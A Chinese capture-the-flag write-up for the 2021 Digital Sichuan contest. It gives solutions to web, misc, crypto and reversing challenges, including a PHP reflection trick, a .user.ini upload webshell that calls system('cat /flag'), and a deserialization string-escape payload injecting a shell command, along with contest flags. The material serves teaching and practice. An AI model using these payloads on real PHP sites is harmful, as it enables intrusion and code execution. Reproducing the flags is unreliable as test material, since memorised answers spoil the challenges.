数字四川初赛+复赛wp

Web

easyphp

http://111.9.220.114:50006/.index.php.swp 备份文件泄漏

<?php
#error_reporting(0);
class Data
{
private static $c = 0; function a()
{
return ++self::$c;
} function b()
{
return ++self::$c;
} function c()
{
return ++self::$c;
} function d()
{
return ++self::$c;
} function e()
{
return ++self::$c;
} function f()
{
return ++self::$c;
} function g()
{
return ++self::$c;
} function h()
{
return ++self::$c;
} function i()
{
return ++self::$c;
} function j()
{
return ++self::$c;
} function k()
{
return ++self::$c;
} function l()
{
return ++self::$c;
} function m()
{
return ++self::$c;
} function n()
{
return ++self::$c;
} function o()
{
return ++self::$c;
} function p()
{
return ++self::$c;
}
/**
* Increment counter
* @final
* @static
* @access flag{*****************}
* @return int
*/
function q()
{
return ++self::$c;
} function r()
{
return ++self::$c;
} function s()
{
return ++self::$c;
} function t()
{
return ++self::$c;
} } if(isset($_POST["pc"]))
{
$gc = $_POST["pc"];
}else{
$gc = "Data";
echo "The flag is in here,but u can't see";
}
$gb=@$_POST["pb"];
$ga=@$_POST["pa"];
$gd=@$_POST["pd"];
$method = new $gc($ga, $gb);
var_dump($method->$gd());
?>

php反射 原生类利用

跑一下

pc=ReflectionMethod&pa=Data&pb=q&pd=getDocComment 在q里面

flag{64d5734730d4ce3a37e8babbf9c3ae2d}

easyln

Admin admin登录

创建软连接 打包后上传

熊猫小店

条件竞争

用jemeter多线程买

然后卖掉去买flag

做的时候环境出问题了,正在卖就出flag了,应该是公共环境有人已经买flag了

easyupload

先传user.ini 再穿jpg文件

user.ini:

GIF89a
auto_prepend_file=1.jpg

jpg文件:绕一下检测

GIF89a
<script language="php">system("cat /flag")</script>

Misc

二进制

取前一段二进制的奇数位与后一段二进制的偶数位组成一个新的二进制集合,然后将其转换成字符串即可

s='010101100100010101110101010001010100010001000101010101100100011001010110011001000100010001000110011001100110010001100100010101100100010001010101010101010101010101000110'

t='101010101001101111011001101101011011011101000100100100110110010010010101001101101010011101000011010101010101010000110111100001000101101010000110101010011000101001001111'

flag=''

for i in range(len(s)):

   flag+=s[i]+t[i]

print binascii.a2b_hex(hex(int(flag,2))[2:-1])

flag{ce3e502c-48c9-4d50-9990-5b81db6fcbf0}

SSRF

数据包用ssrf打的gopher协议,把url复制出来,两次urldecode

可以看到攻击者是在sql时间盲注flag,把时间间隔3s左右的数据包解码一下,拼起来就是flag

crypto

Easy crypto

把附件里的flag交了,好像就对了,很迷

Re

Creakme

C#程序用dotPeek或者dnspy逆向:

// Decompiled with JetBrains decompiler
// Type: ctf.sectalks_bne.crackme.Program
// Assembly: cracknet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: ED77097E-DDB5-4C37-82EB-0300691C3EC4
// Assembly location: C:\Users\ch3cke\Desktop\crack.exe using System;
using System.Threading; namespace ctf.sectalks_bne.crackme
{
internal class Program
{
private static void Main(string[] args)
{
Program.PrintBanner();
int remainingGuesses = 5;
while (true)
{
if (remainingGuesses < 1)
Program.PrintGameOver();
Program.PrintTimer(3);
Program.PrintGuesses(remainingGuesses);
Console.Write("Enter The flag: ");
string str1 = Console.ReadLine();
string str2 = str1;
int length = str1.Length;
if (length > 20 && length < 25)
{
int num = length % 10;
for (int index = 1; index <= length / num; ++index)
{
char ch = str1[index * (num + 1) - 2];
string str3 = ch.ToString();
string str4 = str1;
ch = str1[index * (num + 1) - 1];
string str5 = ch.ToString();
str1 = str3 + str4 + str5;
}
string plainText1 = str1.Substring(20) + str1.Substring(10, 10) + str1.Substring(0, 10);
string str6 = MD5.CreateMD5(Crypto.EncryptStringHH(plainText1)).Substring(10, 10);
string plainText2 = Crypto.calcXor(plainText1.Substring(0, 10) + str6 + plainText1.Substring(10), "flag{6L+Z6YeM5rKh5pyJZmxhZ+i/memHjOayoeaciWZsYWfov5nph4zmsqHmnIlmbGFn}".Substring(10, 10));
string str7 = "3SrM8ZvrV13byvqhpzhTt993LlQ6ND09MI0usLiw=";
if (Crypto.DecryptStringAES(Crypto.EncryptStringAES(plainText2, "CF 2A 0B 55 72 1C DE BF")).Equals(Crypto.DecryptStringAES(Crypto.EncryptStringHHH() + str7)))
{
Console.WriteLine("答案正确,flag为: flag{" + str2 + "}");
}
else
{
--remainingGuesses;
Console.WriteLine("答案错误。");
}
}
else
{
--remainingGuesses;
Console.WriteLine("长度不正确,请重新输入. length ∈ (20,25)。");
}
}
} public static void PrintBanner()
{
Console.WriteLine(" _ _ ");
Console.WriteLine(" | | | | ");
Console.WriteLine(" ___ _ __ __ _ ___ | | __ _ __ ___ | |_ ");
Console.WriteLine(" / __| | '__| / _` | / __| | |/ / | '_ \\ / _ \\ | __|");
Console.WriteLine(" | (__ | | | (_| | | (__ | < _ | | | | | __/ | |_ ");
Console.WriteLine(" \\___| |_| \\__,_| \\___| |_|\\_\\ (_) |_| |_| \\___| \\__|");
Console.WriteLine(" ");
} private static void PrintGameOver()
{
Console.WriteLine("\n");
Console.WriteLine(" .d8888b. d8888 888b d888 8888888888 .d88888b. 888 888 8888888888 8888888b. ");
Console.WriteLine("d88P Y88b d88888 8888b d8888 888 d88P\" \"Y88b 888 888 888 888 Y88b ");
Console.WriteLine("888 888 d88P888 88888b.d88888 888 888 888 888 888 888 888 888 ");
Console.WriteLine("888 d88P 888 888Y88888P888 8888888 888 888 Y88b d88P 8888888 888 d88P ");
Console.WriteLine("888 88888 d88P 888 888 Y888P 888 888 888 888 Y88b d88P 888 8888888P\" ");
Console.WriteLine("888 888 d88P 888 888 Y8P 888 888 888 888 Y88o88P 888 888 T88b ");
Console.WriteLine("Y88b d88P d8888888888 888 \" 888 888 Y88b. .d88P Y888P 888 888 T88b ");
Console.WriteLine(" \"Y8888P88 d88P 888 888 888 8888888888 \"Y88888P\" Y8P 8888888888 888 T88b ");
Program.Mario();
Environment.Exit(0);
} public static void PrintTimer(int seconds)
{
for (int index = seconds; index >= 0; --index)
{
int cursorLeft = Console.CursorLeft;
int cursorTop = Console.CursorTop;
Console.ForegroundColor = ConsoleColor.Yellow;
Console.CursorLeft = 0;
Console.CursorTop = 0;
Console.Write("You can make another guess in: {0}", (object) index);
Console.CursorLeft = cursorLeft;
Console.CursorTop = cursorTop;
Thread.Sleep(1000);
}
} public static void PrintGuesses(int remainingGuesses)
{
int cursorLeft = Console.CursorLeft;
int cursorTop = Console.CursorTop;
Console.CursorLeft = 0;
Console.CursorTop = 0;
Console.ForegroundColor = ConsoleColor.White;
if (remainingGuesses == 1)
{
ConsoleColor backgroundColor = Console.BackgroundColor;
Console.BackgroundColor = ConsoleColor.Red;
Console.Write("You only have one guess remaining!");
Console.BackgroundColor = backgroundColor;
}
else
Console.Write(string.Format("You have {0}/5 guesses remaining!!", (object) remainingGuesses));
Console.CursorLeft = cursorLeft;
Console.CursorTop = cursorTop;
} private static void StarWars() => Thread.Sleep(500); private static void Mario()
{
Console.Beep(659, 125);
Console.Beep(659, 125);
Thread.Sleep(125);
Console.Beep(659, 125);
Thread.Sleep(167);
Console.Beep(523, 125);
Console.Beep(659, 125);
Thread.Sleep(125);
Console.Beep(784, 125);
Thread.Sleep(375);
Console.Beep(392, 125);
}
}
}

解题脚本

string str7 = "3SrM8ZvrV13byvqhpzhTt993LlQ6ND09MI0usLiw=";
string enc = Crypto.calcXor(Crypto.DecryptStringAES(Crypto.EncryptStringHHH() + str7), "flag{6L+Z6YeM5rKh5pyJZmxhZ+i/memHjOayoeaciWZsYWfov5nph4zmsqHmnIlmbGFn}".Substring(10, 10));
Console.WriteLine(enc.Substring(0,10));
Console.WriteLine(enc.Substring(10,10));
Console.WriteLine(enc.Substring(20));
Console.WriteLine(MD5.CreateMD5(Crypto.EncryptStringHH(enc.Substring(0, 10) + enc.Substring(20))).Substring(10,10));
string tmp_flag = enc.Substring(0, 10) + enc.Substring(20);
Console.WriteLine(tmp_flag);
# str = tmp_flag[-10:]+tmp_flag[-20:-10]+tmp_flag[0:-20]
str = 'q2uv1u4GSuHEf116vvaCfus792NWaqH1asNH'

tmp = []

for i in str:
tmp.append(i) nums = 5 i = 6
while i>0:
a = tmp[0]
b = tmp[-1]
tmp = tmp[1:-1]
tmp[i*5-2] = a
tmp[i*5-1] = b
i-=1
flag = ''
for i in tmp:
flag += i
print flag

复赛web

复赛比赛一结束就关环境了,没写wp也没截图

easyphp

<?php
show_source("index.php");
error_reporting(0);
function change($char){
return str_replace('zz', 'xxx', $char);
}
class Demo{
public $name='admin';
public $pass='admin';
function __construct($a){
$this->name = $a;
}
function __destruct(){
system($this->pass);
}
}
$test=new Demo($_GET['a']);
$new=change(serialize($test));
$last=unserialize($new);
$last->pass;
?>

反序列化字符串逃逸

<?php

error_reporting(0);
function change($char){
return str_replace('zz', 'xxx', $char);
}
class Demo{
public $name='admin';
public $pass='admin';
function __construct($a){
$this->name = $a;
}
function __destruct(){
system($this->pass);
}
}
$test=new Demo('adminzzzzzzzzzzzzzzzz";s:4:"pass";s:9:"cat /flag";}');
echo serialize($test);
$new=change(serialize($test));
echo $new;
$last=unserialize($new);
$last->pass;
?>

反序列化字符串逃逸,算一下要逃逸的字符有几个就加几个zz就行了



根目录没有flag,在当前目录

http://111.9.220.114:50002/?a=adminzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";s:4:"pass";s:12:"cat flag.php";}

这个也不行 改成绝对路径出了

flag{c8ad987d72017aa9ac62f07420922d4b}

easy upload

上传啥都没用,后面队友说可以用标签



scandir读下目录



show_source读文件内容

2021 数字四川创新大赛WriteUp的更多相关文章

  1. 2020数字中国创新大赛虎符网络安全赛道-pwn count

    比赛结束前半个小时才看的题,等我做出来比赛已经结束了.难受Orz 本地文件无法执行,远程调试. 题目大概意思就是让你计算200道四则运算.(实际上格式是固定的.先乘一次然后再加两次).200道题都正确 ...

  2. 第十届国际用户体验创新大赛携Mockplus走进校园

    今日立夏,万木并秀,生生不息,第十届国际用户体验创新大赛即将拉开序幕.5月5日下午,一场用户体验设计经验分享活动携带众多嘉宾降临成都理工大学,为西南赛区首站赛事宣讲. 本次宣讲活动邀请了华为技术有限公 ...

  3. 欢迎参加3月活动:AWS 在线研讨会与阿里云 RISC-V 应用创新大赛

    3月份我们在帮合作云厂商 Amazon Web Services(AWS) 与阿里云推广2个活动,欢迎感兴趣的园友参加. 活动一:亚马逊云科技在线研讨会:借助 DGL 实现实时欺诈检测 博客园专属报名 ...

  4. "微信全球商业创新大赛-创意中国2015"国际MBA商业挑战赛开启

    微信商业化进程一直在摸索中前进,从未间断.近日由中欧国际工商学院与腾讯(Tencent)共同发起举办“微信全球商业创新大赛 - 创意中国2015”(We Win with WeChat - INNOV ...

  5. 华为AI应用创新大赛即将开启!公开课已备好!

    为鼓励开发者创新,挖掘前沿创新能力的应用及服务,帮开发者打造爆款应用的同时丰富终端消费者的用户体验,由设立10亿激励基金耀星计划扶持的华为创新竞赛平台即将开启. 竞赛平台将滚动推出AI.HAG.AR. ...

  6. 开发板免费领!腾讯云IoT应用创新大赛正式启动!

    大赛简介 腾讯云IoT应用创新大赛是腾讯云面向物联网领域举办的大型竞赛,通过腾讯云IoT全链路产品能力,开放平台和服务,与广大开发者共同创新,孵化优秀的IoT产品和解决方案,共同构建IoT应用生态. ...

  7. 2016第二届陕西省网络空间安全大赛WriteUp

    2016年5月28号(正式比赛) 有选择题和实践题,俩队员在弄选择题时,我去拿了web1的一血. 0x01 web 是一道代码审计题,发包,返回了源代码: <?php if (isset($_G ...

  8. 2016腾讯"创益24小时"互联网公益创新大赛总结

    上周末参加了腾讯的"创益24小时"互联网公益大赛,和两个小伙伴(设计师Beryl和产品经理Benny)浴血奋战两天一夜,完成了一个叫"彩虹桥"的公益项目. (一 ...

  9. 宁波市第三届网络安全大赛-WriteUp(Misc)

    友情链接 Web师傅:skyxmao师傅 内心OS 第一次参加这种大型比赛,实力较菜,请师傅们多多指点 Misc | 完成 | 第一 下载文件,看一下doc没有任何问题, 没有发现任何隐写,然后修改文 ...

随机推荐

  1. ASP.NET Core 学习笔记 第二篇 依赖注入

    前言 ASP.NET Core 应用在启动过程中会依赖各种组件提供服务,而这些组件会以接口的形式标准化,这些组件这就是我们所说的服务,ASP.NET Core框架建立在一个底层的依赖注入框架之上,它使 ...

  2. Vite插件开发纪实:vite-plugin-monitor(上)

    背景 最近在webpack项目里接入了Vite(dev mode),为开发提效.效果是真的猛. 项目启动速度提升70%-80%,HMR直接碾压webpack dev server 为了更加精准的计算收 ...

  3. 调试器地址出现大小端紊乱,引发的异常: 0xC0000005: 读取位置 0xFFFFFFFFFFFFFFFF 时发生访问冲突。

    今天在编写一系列新增需求代码后,开始调试代码 发现上个版本正常可运行的代码出现了:引发的异常: 0xC0000005: 读取位置 0xFFFFFFFFFFFFFFFF 时发生访问冲突. 上个版本数代码 ...

  4. Python笔记_1语法总结

    前言导读 本章知识点是我在最初期听python视频教程的时候整理总结的笔记 对python语法的认识对以后代码的解读有着很大的帮助. 1 新建python命名规则 新建项目名 :数字编号 项目名称 新 ...

  5. 题解 SP6779 【GSS7 - Can you answer these queries VII】

    题目传送门 题目大意 给出一个\(n\)个点的树,每个点有权值.有\(m\)次操作,每次要么查询一条链上的最大子段和,要么把一条链的权值都修改为一个常数. \(n,m\le 10^5\) 思路 如果是 ...

  6. java设计模式_单例模式

    懒汉式 非线程安全 特点:Lazy 初始化.非多线程安全.易实现 描述:这种方式是最基本的实现方式,这种实现最大的问题就是不支持多线程.因为没有加锁 synchronized,所以严格意义上它并不算单 ...

  7. 【转-Andrew_qian】stm32中断嵌套全攻略

    断断续续学习STM32一学期了,时间过的好快,现在对STM32F103系列单片机的中断嵌套及外部中断做一个总结,全当学习笔记.废话不多说,ARM公司的Cortex-m3 内核,支持256个中断,其中包 ...

  8. Microsoft Porject Online 学习随手记一:环境创建和数据导入

    没有想像的简单,也没那么复杂 Project OL之前是Dynamics 365 Enterprise P1中的一个模块,目前最新版本只能简单创建并且已经没有Enterprise P1选项. 主要流程 ...

  9. LVDS DP等显示器接口简介

    LVDS 产品传输速率从几百Mbps到2Gbps.它是电流驱动的,他通过在接收端放置一个负载而得到的电压,当电流正向流动,接收端输出为1,反之为0,它的摆幅250mV-450mV. lvds 即低压差 ...

  10. 公众号H5页面接入微信登录流程

    公众号H5页面接入微信登录流程 源码地址 https://gitee.com/szxio/h5_weixin 起步 首先创建一个项目,我们采用uni-app来作为我们的前端框架 环境安装 全局安装vu ...